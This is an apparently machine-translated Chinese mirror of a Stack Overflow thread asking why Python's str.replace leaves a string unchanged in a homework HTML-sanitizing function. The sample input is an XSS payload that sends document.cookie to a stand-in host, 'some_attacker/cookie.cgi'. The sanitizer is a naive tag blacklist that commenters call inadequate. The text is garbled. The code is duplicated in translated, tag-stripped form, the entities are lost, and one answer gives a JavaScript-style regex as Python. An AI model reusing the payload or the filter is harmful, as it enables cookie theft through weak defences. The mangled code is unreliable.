Python 为什么功能不起作用?试图替换字符串中的单词
我正在尝试替换字符串中的一些关键字。以下是我的功能:Python 为什么功能不起作用?试图替换字符串中的单词,python,string,Python,String,我正在尝试替换字符串中的一些关键字。以下是我的功能: def clean_code(input): input.replace('<script>', " ") input.replace('</script>', " ") input.replace('<a href>', " ") input.replace('</a>', " ") input.replace('>', ">")
def clean_code(input):
input.replace('<script>', " ")
input.replace('</script>', " ")
input.replace('<a href>', " ")
input.replace('</a>', " ")
input.replace('>', ">")
input.replace('>', "<")
return input
def clean_代码(输入):
输入。替换(“”“”)
输入。替换(“”“”)
输入。替换(“”“”)
输入。替换(“>”,“”)
输入。替换(“>”,“”)
返回输入
这是我的其他代码和字符串:
string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"
print '\nstring1 cleaned of code'
print '------------------------'
print clean_code(string1)
string1=“这个博客很愚蠢!>\n”\
“document.location=”http://some_attacker/cookie.cgi?"\
“+document.cookie”
打印“\n清除代码的字符串1”
打印“---------------------------”
打印清洁代码(string1)
我的输出如下,我不确定为什么什么都没有改变
string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
string1已清除代码
------------------------
这个博客太愚蠢了!>
文件.地点:http://some_attacker/cookie.cgi? +document.cookie
Python字符串是不可变的:
input = input.replace('<script>', " ")
input = ...
input=input.replace(“”)
输入=。。。
见:
返回字符串str的副本,所有出现的子字符串old都替换为new
.replace
不是就地突变
试试这个
def clean_code(input):
for tokens in [('<script>', " "),('</script>', " "),('<a href>', " "),
('</a>', " "),('>', ">"),('>', "<")]:
input = input.replace(tokens[0], tokens[1])
return input
def clean_代码(输入):
对于[('','',('','',('','',('>',''),('>','')中的标记:
输入=输入。替换(令牌[0],令牌[1])
返回输入
字符串在Python中是不可变的<代码>输入。替换(“”“”)不会改变输入。您需要将结果分配回输入
但实际上,您应该使用类似的解析器。String.replace
返回替换后的新字符串,但不会更改原始字符串。为此,必须将返回值赋回变量,如下所示:
myString = myString.replace("foo", "bar")
此外,input.replace(“”“”)
将只替换确切的子字符串“”。若要删除实际链接,请尝试input.replace(/]*>/,“”)
除了您看到的错误之外,即使是最基本的攻击,这种防御也远远不够。这种方法也不能很好地扩展。@delnan这只是为了做家庭作业,它不应该做任何事情,只要你意识到这一点,不要在实际服务于任何请求的代码中尝试这种胡说八道。Agh文档链接我丢失了againlxml,这几天推荐使用